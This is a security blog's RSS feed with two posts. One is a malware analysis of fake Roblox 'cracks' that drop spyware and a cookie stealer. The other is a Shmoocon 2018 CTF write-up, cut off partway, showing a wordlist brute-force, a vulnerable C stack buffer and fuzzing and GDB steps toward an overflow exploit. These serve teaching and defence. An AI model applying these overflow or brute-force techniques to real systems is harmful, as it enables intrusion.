<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Pentestsec - Medium]]></title>
        <description><![CDATA[We are a bunch of infosec addicted goons hungry for more. - Medium]]></description>
        <link>https://medium.com/pentestsec?source=rss----352a2928fdfd---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Pentestsec - Medium</title>
            <link>https://medium.com/pentestsec?source=rss----352a2928fdfd---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 13:48:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/pentestsec" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Curious Case of Felix Werner]]></title>
            <link>https://medium.com/pentestsec/the-curious-case-of-felix-werner-94559e783664?source=rss----352a2928fdfd---4</link>
            <guid isPermaLink="false">https://medium.com/p/94559e783664</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[spyware]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Jet Black]]></dc:creator>
            <pubDate>Thu, 10 May 2018 20:52:22 GMT</pubDate>
            <atom:updated>2018-05-10T20:53:37.346Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*o1ffbTDbd4_ohEh_Lg5qIg.gif" /></figure><p><em>Small note — I’ll be including all tools used in this article at the bottom, along with links for downloads and more information.</em></p><p>Once and a while, we all just have to come to appreciate the dedication and commitment that is shown by Roblox hackers. Yes, you read that correctly… <em>Roblox hackers</em>. But unfortunately, I won’t be discussing the ingenuity and programming expertise required to be a professional exploit writer for this fantastic game. No, today I’m going to be talking about Felix Werner. The majority of this article will be talking about the malware involved in this whole debacle, but it all leads to a very interesting conclusion with our friend Felix here.</p><p>A little backstory before we continue: I’m a member on a discord server known as Hacking-Coding. There’s plenty of good people on there (and some memes), but I would definitely recommend that you check it out. Anyways, one day, I was conversing in the voice channel when a member known as SnowLord brought it to my attention that he was looking at a particularly interesting malware sample. He claimed that it was designed to work as a “Roblox exploit”, dubbed Synapse, but he suspected that it contained some type of malware. It was most likely just a simple keylogger. He sent over the sample, which was a zipped archive called “Cracked Synapse v4.6.7.zip”.</p><p>Now for the fun part: dissection. This folder included a number of interesting directories and files. The most interesting, however, were the main two binary files included in the tool: “Synapse Cracked.exe” and “synapse-v4.5.1d-b2.bin”. The first file I decided to look at was the generic executable. During initial analysis, A number of interesting things emerged. First of all, the original name of the executable was “NathansBinderStub”, which is not only suspicious, but will be very important later on (as of yet, the name “Nathan” hasn’t been found to be of any significance).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*QVoVLzTFciLCRG7fEcFX1w.jpeg" /><figcaption>The original name uncovered in dnSpy</figcaption></figure><p>After taking a small look at the code using dnSpy, a useful .NET decompilation tool, it became painstakingly obvious that it was an obfuscated .NET file, as shown here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A4Fq2sM-whYrSN1tDrsTGQ.jpeg" /><figcaption>Decompilation of a method in the main executable named “Synapse Cracked.exe”</figcaption></figure><p>The next step would be to look over some of the variables included in the file and try to figure out the purpose and effects of the code that’s being ran. However, I’m not one to try to deal with annoyingly obfuscated code. <a href="https://twitter.com/one_researcher">Another_Researcher</a>, a friend of mine who was giving me tips on analysis through this experience (and who’s pretty good at destroying .NET malware), brought a tool called de4dot to my attention. It’s <em>very </em>effective at finding the tool used to obfuscate a given .NET executable, and fixing it up a bit to improve readability. After running the tool on the binary, we are given a cleaned-up version with the same execution flow as the original.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*MlawdKCTy_g5KElaKcp_Xw.jpeg" /><figcaption>de4dot output</figcaption></figure><p>There is one odd result included in this output, though… The tool claimed that it was encoded using an “Unknown Obfuscator”, meaning the tool that was used is either generally rare, custom made, or a modified version of a more popular obfuscator. Despite this, de4dot was still able to clean up the symbols in the file a bit to make it slightly less of a headache to deal with.</p><p>Now, we need to take a look at the constructor of the main class in the file to start to figure out what and how it runs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*9eYfFRtMQHghe0qbFtkShg.jpeg" /></figure><p>Here we can see a call to the loads() method, which is located inside of the “Blank” class. This is where the code gets interesting… As mentioned before, the file is still somewhat obfuscated, so we need to find behavior that would help expose some of the effects of this code to place a breakpoint on. Luckily enough, this is relatively easy, as you can see from the decompilation of the first method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*Sn9QnyvzheOb97Tgfl7tbg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/257/1*vfZijHP1zqPtp_J6XZHruA.jpeg" /><figcaption>loads() method located in the Blank class</figcaption></figure><p>From the method calls, it’s clear that it drops two files and starts them with Process.Start(). Interesting note: a large amount of the .NET calls inside of this set of malware were made specifically to the VB libraries, meaning it was probably originally written in VB.NET. Now, we’ll need to figure out exactly what’s stored in “tempPath” and “array” during runtime. We can put two breakpoints on the FileSystem.FilePut() calls and one just before the process is started. It would also be beneficial to check the rest of the code to guarantee that it won’t have any unexpected consequences. There actually is a check near the beginning of this binary that makes sure the files aren’t already dropped, but that’s not necessarily in the scope of this write-up. After starting the debugger and reaching our initial break, we can find all of the values we need to continue with the analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*gKGBKnIixsuqKhFcy6F2IQ.jpeg" /><figcaption>Variables at first breakpoint</figcaption></figure><p>Now those look an awful lot like portable executables. For those who don’t know, the <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms680547(v=vs.85).aspx">PE format</a> starts with the MZ signature from the MS-DOS relocatable 16-bit executable format days, in homage to Mark Zbikowski. We also see the two files that are dropped, and where we can find them after FileSystem.FilePut() is called on both of those executables. Skipping ahead, just before the process is started, we can view our Temp directory to see the two executables. The first, “Synapse.exe”, is the actual Roblox exploit; although I haven’t tested it, those who commented on the YouTube video where this was discovered claimed it worked, suggesting that this is legitimate (more on the youtube channel later). The second, “aaaa.exe”, is very interesting indeed. Considering that all of the operations that have taken place inside of the code have been unexpected until now, let’s take a look at the suspicious “aaaa” executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*FH7gA72KkXJXZRZWQjaRVQ.jpeg" /><figcaption>List of methods included in “aaaa.exe”</figcaption></figure><p>Not only is there no obfuscation whatsoever, but if these method names are properly named… Well, that’s about the most incriminating evidence that we need. In addition, when the malicious process is started, it runs under the name “Windows Update” in attempt to hide itself from the user. But just to see some of the wonderful programming that was put into this true artwork, we can take a look at some of the code. After taking a look at the “Form1” class’s instance variables (located in the “Microsoft” namespace), it’s clear that they made some attempt at encryption to prevent the credentials from being uncovered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KK0C3W_niKV39j0qaEJdFg.jpeg" /><figcaption>From1’s instance variables being initiated in its constructor</figcaption></figure><p>In addition to these encrypted strings, there also appears to be other variables that were used to specify certain operations that need to occur during execution. In short, they literally used strings to specify its configuration. Anyhow, the next course of action should be to decrypt this data. We can search through the rest of the class to find references to these variables. We find a number of calls to the Decrypt() method with the encrypted strings and the supposed decryption key, “PredatorLogger”, stored in plain-text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*-S-u_ChvfH490-49J0R4Mg.jpeg" /><figcaption>Calls to the this.Decrypt() method</figcaption></figure><p>This <em>also </em>happens to be the name of the malware that was included in this crack. It’s just generic spyware with a couple of different features, such as account stealing from specific platforms (Steam/Minecraft), which we can find by just leafing through the code for a bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*vZQAi0-xO8ZbwQJ3UPYFPw.jpeg" /></figure><p>The decompilation of the Decrypt() method lets us get the cleartext of the strings by doing nearly no work at all. Since it would be generally better to avoid running the payloads of this binary in order to set a breakpoint after the strings are decrypted, we can go ahead and take some of the included code to write a rudimentary program to do it for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G4oPBBMc6gEqQx7_UJaQUg.jpeg" /><figcaption>A practically copy-pasted program that lets us decrypt the strings</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*LMevA2OrTU53c1f9bfZ5EQ.jpeg" /><figcaption>Censored output of the decrypter</figcaption></figure><p>The output (censored to prevent abuse) gives us the email, password, and domain of the attacker, though unfortunately the FTP information wasn’t initiated properly. This is likely just a biproduct of the stub generation with particular settings disabled. Disclaimer: I, personally, didn’t look into any of the logs that the malware sent to the email address or domain. And if you decide to take a look at these samples, you shouldn’t either. It’s unethical and <em>illegal</em>. Now, after looking at all of this, I’m sure you’re wondering what happened to the original “synapse-v4.5.1d-b2.bin” file. And even though it didn’t appear to be mentioned in “Synapse.exe”, it might be worth looking into to find more information about the attacker. We can repeat the same process that we used on the main executable on it to see what it does. This file was fairly different from the original, obfuscated in a different but seemingly more effective manner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*xHYxLhYis8afhYDaCX1cYg.jpeg" /><figcaption>Obfuscated classes and methods in “synapse-v4.5.1d-b2.bin”</figcaption></figure><p>It was filled with hundreds of fake-looking classes and methods that were all encoded in this unicode gibberish. Every single identifier was replaced with this type of name. However, we have our friend de4dot on our side. After cleaning up the file, everything becomes much easier to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*c_G8qgltinFcRWbcfKEb8g.jpeg" /></figure><p>After finding the entry-point, we are able to trace our way through the method calls until we reach something that seems vaguely interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*cZ4jLnOYqQQIsaOf2JNeog.jpeg" /><figcaption>Method located in Class93</figcaption></figure><p>The method shown above calls the function Assembly.Load() on the variable array3, of which I have no intention of tracing the value. Let’s set up a breakpoint and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*UePgzRifsukHz64uJm9JZw.jpeg" /><figcaption>“4d 5a” is hex for “MZ”</figcaption></figure><p>After we arrive at the break, we are able to find another PE stored entirely in array3. Thanks to the robustness of dnSpy, we are able to save the encoded values in the array to a different file and decompile it, thanks to the fact that it was <em>also</em> written in .NET.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/1*6EBmsXT3S74EtuZumeqfJA.jpeg" /><figcaption>Dumped PE</figcaption></figure><p>From what I gathered from the disassembly, the only noticeable purpose of the .bin file was to store various assets for the Synapse executable. The dumped file was nearly empty, with the only substantial material being located in the Resources section of the binary. I’m almost certain that I missed a great deal of interesting information from the original, but from all of the other data that had already been gathered, I didn’t really consider it necessary to continue following this lead. We had successfully dumped all of the malicious files and retrieved information about the attacker that we can use to identify and shut down their operation. All of the files included where uploaded to VirusTotal and would absolutely be detected the next time someone were to scan one of them.</p><p>A number of days later, I was talking with some people in that same discord server when a different friend of mine, named “Jazzy”, claimed that we found a piece of malware that he thought was interesting. Thinking that I had improved slightly from the previous experience, I offered to help. The sample he was looking at just so happened to be another Roblox “exploit”, apparently named “Bleu”. He sent three separate files, “Defiate_3.exe”, “Bleu.exe”, and “Bleu_Cracked.exe”. Both Defiate_3.exe and Bleu.exe were legitimate files, and most likely<em> </em>posed no malicious threat. The Bleu_Cracked.exe, on the other hand, was intriguing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*tGkMgb379NCmpU3jLtkVmw.jpeg" /><figcaption>Size comparison of the two Bleu binaries</figcaption></figure><p>Looking at the size in comparison to the real version of Bleu, it’s obvious that the cracked version has some extra code or assets inside. This isn’t inherently malicious, or even terribly suspicious, but it does heighten the probability that it contains something unexpected. It appeared that this sample was also written in .NET, but the most interesting aspect of this new piece of malware was the original name of the executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*W4Fbie-oXwNZxDQYpfUrng.jpeg" /></figure><p>Despite being totally unrelated, both of the samples that I had received from completely different sources both served the same purpose and were obfuscated with the same tool. I even compared the signatures and sizes of the two files just to verify that they weren’t the same binary, but it appeared that they were different. On the bright side, this made it incredibly easy to deobfuscate and analyze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*J-85TPJTaj4Vt58l0SeJWA.jpeg" /><figcaption>Decompiled loads() method in Bleu_Cracked.exe</figcaption></figure><p>Looking at the code, it’s obvious that the two samples are very similar, with the only difference being in the files that were dropped. Following the same procedure as the Synapse sample, we were able to retrieve the two different dropped files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*VeEUIjgGm4MCwl0Orotvgg.jpeg" /><figcaption>Variables retrieved during debugging</figcaption></figure><p>It functions almost identically to Synapse, with the exception of the attached malicious stub. Instead of “PredatorLogger” with its fake windows update utility, we are left with a file named “CookieVenomStub.exe”.</p><p>Simply researching the name of this file gives a clear picture of what the intention of this “crack” seems to be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*FNDq-u733eel8eUaarafCQ.jpeg" /><figcaption>Oh boy…</figcaption></figure><p>If any more verification is needed, we can just decompile the dropped CookieVenom executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JonY3LT_pPCRiBYX9U2z4Q.jpeg" /><figcaption>Section of the decompiled cookie stealer</figcaption></figure><p>The code shown to the left seems to send a user’s stolen Roblox authentication cookies to the included discord webhook, which I’ve censored to prevent any abuse. This suggests that the stolen cookies are being sent to a discord-based log server, of sorts.</p><p>The next day, I was talking with Jazzy again about the strange amount of coincidence to the whole situation. When I asked him where he got the Synapse crack, he linked me to a YouTube video posted on a channel named “Felix”. This is the moment that things finally started to fit together.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4Zk4Qwo1ofsdPxrDk0-Jg.jpeg" /></figure><p>I wanted to verify that the programs that he was distributing were actually the samples that I was looking at before. After crawling through multiple adfly links and I downloaded the two new releases at the time (the newer ones have changed up obfuscation methods since Another_Researcher and I took a look at it… Yes, the kid’s still spreading) of Bleu and Synapse. After decompiling them, we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/194/1*6h1oiPrKTduFRx7GSG-eOg.jpeg" /></figure><p>Same obfuscator, same file dropping technique, same everything except for the malicious executable. Both of the updated Synapse and Bleu cracks install CookieVenom, and it looks like he’s discontinued the full-blown spyware, for the moment.</p><p>Looking back at the video descriptions, there was a link to a discord server that me and Another_Researcher quickly joined. When we were talking to the admins (who shall remain unnamed), a couple of them admitted that they knew about the cookie logger, and Another_Researcher was able to find out that the webhook actually led to a separate discord that members could join, for a price<em>.</em> It seemed as if all of the members of the server were completely desensitized to the fact that what they were doing was illegal.</p><p>Unfortunately, he is still spreading his malware. We did, and continue to hinder his efforts in a number of ways, such as getting his log accounts suspended and reporting his discord server and webhooks to, hopefully, have discord shut them down. However, it is an on-going fight. If you can, report his YouTube channel with valid proof (maybe this article?) so that it gets taken down and he loses his chance to reach kids looking to cheat in Roblox… It would take a long while to reacquire all of the subscribers he has. It’s also possible that law enforcement will get involved, so, as I mentioned before, be ethical in all of your endeavors regarding this scammer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RoRgaeVV7gzN4-bQA9R4w.png" /><figcaption>Great Success</figcaption></figure><h4><strong>Thanks for reading.</strong></h4><h3>Tools</h3><p><a href="https://github.com/0xd4d/dnSpy">dnSpy </a>— An incredibily useful .NET debugger and assembly editor.</p><p><a href="https://www.hex-rays.com/products/ida/">IDA </a>— A native debugger with the most functionality that anyone could ask for in a disassembler.</p><p><a href="https://github.com/0xd4d/de4dot">de4dot </a>— A .NET deobfuscation tool which attempts to identify and undo the obfuscator used on a specific file.</p><p><a href="https://processhacker.sourceforge.io/">Process Hacker</a> — Although not showcased in this tutorial, it is a very helpful tool that allows a full tree view of all processes and forks, along with <em>many </em>other features.</p><p><a href="https://www.telerik.com/fiddler">Fiddler </a>— A useful web debugger, as recommended by Another_Researcher.</p><p><a href="https://www.wireshark.org/">Wireshark</a> — The classic packet sniffer. Very useful in almost every scenario.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94559e783664" width="1" height="1" alt=""><hr><p><a href="https://medium.com/pentestsec/the-curious-case-of-felix-werner-94559e783664">The Curious Case of Felix Werner</a> was originally published in <a href="https://medium.com/pentestsec">Pentestsec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Aerstone CTF | Shmoocon 2018]]></title>
            <link>https://medium.com/pentestsec/aerstone-ctf-for-shmoocon-2018-6543af0672fa?source=rss----352a2928fdfd---4</link>
            <guid isPermaLink="false">https://medium.com/p/6543af0672fa</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[satellite-technology]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[shmoocon]]></category>
            <dc:creator><![CDATA[T0w3ntuM]]></dc:creator>
            <pubDate>Wed, 02 May 2018 15:29:21 GMT</pubDate>
            <atom:updated>2018-05-02T15:39:31.401Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*TsIwYYIVnKBFlH7lxSFQqA.gif" /></figure><h3><strong>01 — Global Transmitter Network Access</strong></h3><p><strong>Objective</strong>:</p><blockquote>In order to communicate with the satellite, you must first gain access to a satellite transceiver ground station.</blockquote><blockquote>The system is heavily locked down. Before we can perform any actions we must obtain a vaild authorization code.</blockquote><blockquote>Access the GTN at: <a href="https://gtn.shmoocon2018.aerstone.com/">https://gtn.shmoocon2018.aerstone.com</a></blockquote><blockquote>NOTE: Brute forcing IS allowed, just play nice ;)</blockquote><p><strong>Solution</strong>:</p><p>I’ll admit, I spent a lot of time on this one as I imagine a lot of the competators did. I’m not used to brute force being the answer when it comes to CTF’s, however it was in this case.</p><p>First, I generated a small wordlist by running <strong>cewl</strong> on the site.</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# cewl <a href="https://gtn.shmoocon2018.aerstone.com/">https://gtn.shmoocon2018.aerstone.com</a><br>CeWL 5.3 (Heading Upwards) Robin Wood (robin@digi.ninja) (<a href="https://digi.ninja/">https://digi.ninja/</a>)<br>Communication<br>Message<br>Global<br>Transmitter<br>Network<br>GTN<br>Available<br>Dishes<br>Main<br>Menu<br>Transmission<br>Bootstrap<br>Home<br>Transmit<br>Administration<br>Log<br>ACCESS<br>DENIED<br>container<br>Login<br>Communications<br>View<br>Adjust<br>Dish<br>Edit<br>communication<br>Please<br>login<br></pre><p>As it’s a rather small list, I just fed this into Burp intruder and ran it. The following image shows that the password <strong>Communications</strong> returns a different content length, and sure enough that is the correct password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*THA816VVcWzqV81CIzW3ig.png" /></figure><p>And now we have our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gxVS_6ArlIdRbbB3TBZirw.png" /></figure><h3>02 — Azimuth</h3><p><strong>Objective:</strong></p><blockquote>Now that you have control over the ground station, you must determine the coordinates of where to point the satellite.</blockquote><blockquote>We have recently spotted the satellite and computed it’s orbit. You now must determine the location of the satellite in orbit and position the communication array accordingly.</blockquote><blockquote>nc azimuth.shmoocon2018.aerstone.com 3000</blockquote><p><strong>Solution</strong>:</p><p>Here is what we are told when we first connect to the server:</p><pre>```<br>#########################################################################<br># Before you can communicate with an orbiting object, you must          #<br># first determine it&#39;s azimuth and elevation so the transmitter         #<br># can be accuratly positioned                                           #<br>#                                                                       #<br># First you must proove you can calculate them correctly before         #<br># we will give you the final information.                               #<br>#                                                                       #<br># You will receive four lines formatted as such:                        #<br>#                                                                       #<br># Line 1: Two Line Element Set                                          #<br># Line 2: Two Line Element Set                                          #<br># Line 3: Two Line Element Set                                          #<br># Line 4: latitude longitude altitude timestamp                         #<br>#                                                                       #<br># Altitue is given in meters, timestamp is UTC                          #<br>#                                                                       #<br># Line 4 contains coordinates on Earth for a transmitter.               #<br>#                                                                       #<br># Please return a single line (\n terminated) with azimuth and          #<br># elevation in degrees with the format:                                 #<br># azimuth elevation                                                     #<br>#                                                                       #<br># If there is no solution return:                                       #<br># no solution                                                           #<br>#                                                                       #<br># Tolerance is allowed up to 0.20 degrees                               #<br>#                                                                       #<br># Assume a horizon of 0.0 degrees                                       #<br>#########################################################################<br># EXAMPLETLE0118                                                        #<br># 1 71589U 88340Q   17338.08999788 .2662445-1 000000-0 178530-2 0 09181 #<br># 2 71589  157.285 108.4565 30303-2 112.3047 141.1933 12.74449262354565 #<br># 0.1732186 -71.8916986 7 2018-01-02 18:54:15.493294                    #<br># 237.7788292 4.8210156                                                 #<br>#########################################################################<br>AERSTONE000000          <br>1 85510U 97470H   17354.56692690 .6821516-1 000000-0 904700-3 0 09779 <br>2 85510  167.959 356.9992 12869-0 193.5472 137.5222 8.718387745640267 <br>-20.7218987 54.4410721 2451 2018-01-21 17:52:38.651217<br># [E</pre><p>We are given TLE data and need to calculate the azimuth and elevation. Lucky for us, there is a python library to help with this: <a href="http://rhodesmill.org/pyephem/">ephem</a></p><p>After messing with it for a little bit and making sure I could calculate the example provided, I fired off my first script to find out that it wants me to do more than one set. After modifying the script and messing with timing, here is the final script used.</p><pre>import ephem, socket, time, select<br>import numpy as np</pre><pre>def calculate(data):<br> lines = data.splitlines()<br> sat = ephem.readtle(lines[-4],lines[-3],lines[-2])<br> observer = lines[-1].split()<br> ga = ephem.Observer()<br> ga.lat, ga.lon, ga.elevation, ga.date = observer[0], observer[1], int(observer[2]), observer[3]+&#39; &#39;+observer[4]<br> try: <br>  sat.compute(ga)<br> except:<br>  return &quot;no solution\n&quot;<br> try:<br>  if np.degrees(sat.alt) &lt; 0:<br>   return &quot;no solution\n&quot;<br> except:<br>  return &quot;no solution\n&quot;<br> else:<br>  try:<br>   print &quot;%.8f %8f\n&quot; % (np.degrees(sat.az),np.degrees(sat.alt))<br>   return &quot;%.8f %8f\n&quot; % (np.degrees(sat.az),np.degrees(sat.alt))<br>  except:<br>   return &quot;no solution\n&quot;</pre><pre>s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;azimuth.shmoocon2018.aerstone.com&quot;, 3000))</pre><pre>while True:<br> time.sleep(.4)<br> data = s.recv(4000)<br> print data<br> final = calculate(data)<br> print &quot;[*] %s&quot; % final<br> s.send(final)</pre><p>We send this off, calculate 200 runs and then get the flag.</p><pre># [!] Finished! FLAG:{91420600-a63c-427f-91f7-39fd95369a78}<br># [!] Use the following TLE to align a ground station through the GTN<br>ZUMA<br>1 43098C 18001A   17348.22568377  .00001930  00000-0  36372-4 0  9991<br>2 43098  51.6433 220.8012 0002958 228.0883 233.9521 15.54138244 89755</pre><p>The TLE data given will be used in a later challenge, and is a small challenge itself.</p><h3>03 — Satellite</h3><p><strong>Objective</strong>:</p><blockquote>We have received the original source code of the satellite (don’t ask how).</blockquote><blockquote>Find a vulnerability within the communications module that allows you to execute either selfDestruct() or deploy(float lat, float lon).</blockquote><blockquote>Test your payloads by sending them to:</blockquote><blockquote>satsim.shmoocon2018.aerstone.com 3000<br>e.g.<br>./exploit.py | nc satsim.shmoocon2018.aerstone.com 3000</blockquote><blockquote>NOTE: Architecture is x86_64 with no ASLR. You do not need to gain shell access!<br>NOTE: There is a bug with timing on the server. Send your payload immediatly, e.g. <em>exploit.py &gt; data; nc satsim.shmoocon2018.aerstone.com 3000 &lt; data</em>. This does not affect local binaries</blockquote><p><strong>Solution</strong>:</p><p>We are given the raw source files to go through. Immediatly we can see what the protocol is expecting in <strong>satlib.h</strong> as the developer left a nice comment about it.</p><pre>/**<br> * Satelllite Communications Protocol:<br> *<br> *  +---------------------+<br> *  |       Header        |<br> *  +---------------------+<br> *  |     Module Data     |<br> *  +---------------------+<br> *  |       Header...     |<br> *  +---------------------+<br> *  |     Module Data     |<br> *  +---------------------+<br> *<br> * Header: <br> *   0                   1                  <br> *   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7<br> *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br> *   |    Version    |   Data Type     |<br> *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br> *<br> * After receiving a &#39;header&#39; with a valid &#39;Version&#39;, the data stream will be<br> * passed off to the module defined by &#39;Data Type&#39;<br> *<br> * Valid Version: 0x13<br> * Available Data Type:<br> *    Propulsion Module:     0x20<br> *    Abort Module:          0x30<br> *    Communications Module: 0x37<br> *    END:                   0x00<br> *<br> * A Data Type of &quot;END&quot; will terminate the server<br> *<br> * Example Data Stream:<br> *     13200100011300<br> *<br> *       Header   Prop Head   Prop Data   Header  <br> *     [ 13|20 ]    [ 01 ]    [ 0001 ]   [ 13|00 ]<br> */</pre><p>Knowing how to structure the header, I then need to find a module to call. After looking around, I find this in <strong>comms.h</strong></p><pre>/**<br> *    <br> * Communications Header: <br> *   0                   1                  <br> *   0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7<br> *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br> *   |     Type      |      Size       |<br> *   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br> *<br> * Valid Types are:<br> *   * Text:   0x00<br> *   * Binary: 0x01<br> *<br> * The Communications module will:<br> *   * Read the Communications Header<br> *   * Pass processing of communications information to a submodule for each <br> *     &#39;type&#39;<br> **/</pre><p>and here is the <strong>comms.c</strong> file</p><pre>#include &quot;common.h&quot;<br>#include &quot;satlib.h&quot;<br>#include &quot;comms.h&quot;</pre><pre>int comms_txt(struct comms_header *header, int fd){<br>    char data[32];<br>    memset(&amp;data,0,sizeof(data));<br>    if(get_data(data, fd, header-&gt;size) == -1){<br>        printf(&quot;[E] Failed to read data\n&quot;);<br>        return 1;<br>    }<br>    printf(&quot;[I] Received: &#39;%s&#39;\n&quot;, data);<br>    return 0;<br>}</pre><pre>int comms_bin(struct comms_header *header, int fd){<br>    char data[32];<br>    memset(&amp;data,0,sizeof(data));<br>    int bytes = get_data(data, fd, header-&gt;size);<br>    if(bytes == -1){<br>        printf(&quot;[E] Failed to read data\n&quot;);<br>        return 1;<br>    }<br>    printf(&quot;[I] Received: %d bytes\n&quot;, bytes);<br>    return 0;<br>}</pre><pre>int comms_module(struct header* header_buf, int fd){<br>    struct comms_header ch;<br>    <br>    printf(&quot;[I] Processing comms module\n&quot;);</pre><pre>if(get_data((char*)&amp;ch, fd, sizeof(struct comms_header)) == -1){<br>        printf(&quot;[E] Failed to read data\n&quot;);<br>        return 1;<br>    }</pre><pre>switch(ch.type){<br>        case COMMS_TXT: return comms_txt(&amp;ch, fd); break;<br>        case COMMS_BIN: return comms_bin(&amp;ch, fd); break;<br>    };</pre><pre>return 0;<br>}</pre><p>Since comms_txt looks like a promising place to perform a buffer overflow, I can craft the first part of the payload with the following three bytes</p><pre>“\x13\x37\x00”</pre><p>This will tell the program the appropriate version, then to call the Communications Module and use COMMS_TXT within that module.</p><p>Now a little bit of fuzzing and I can succesfully cause a seg fault.</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# python -c&#39;print &quot;\x13\x37\x00&quot; + &quot;A&quot; * 50&#39; | ./zuma<br>Self Destruct: 0x555555554ad0<br>deploy: 0x555555554b25<br>[I] Processing comms module<br>[I] Received: &#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br>&#39;<br>Segmentation fault</pre><p>Great, time to find out exactly where that seg fault occures by generating a simple pattern and using GDB to determine what RBP gets overwritten with. Below you can see that the pattern is seen in RBP with an exact offset of 33. Adding 8 to this gives us 41.</p><pre>root@kali:/mnt/hgfs/kali64/zuma/bin# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50<br>Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab<br>root@kali:/mnt/hgfs/kali64/zuma/bin# python -c&#39;print &quot;\x13\x37\x00&quot; + &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab&quot;&#39; &gt; in2.txt<br>root@kali:/mnt/hgfs/kali64/zuma/bin# <br>root@kali:/mnt/hgfs/kali64/zuma/bin# gdb -q ./zuma<br>Reading symbols from ./zuma...(no debugging symbols found)...done.<br>gdb-peda$ r &lt; in2.txt<br>Starting program: /mnt/hgfs/kali64/zuma/bin/zuma &lt; in2.txt<br>Self Destruct: 0x555555554ad0<br>deploy: 0x555555554b25<br>[I] Processing comms module<br>[I] Received: &#39;a0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab<br>&#39;</pre><pre>Program received signal SIGSEGV, Segmentation fault.</pre><pre>[----------------------------------registers-----------------------------------]<br>RAX: 0x0 <br>RBX: 0x0 <br>RCX: 0x0 <br>RDX: 0x0 <br>RSI: 0x555555757260 (&quot;&#39;\n] Received: 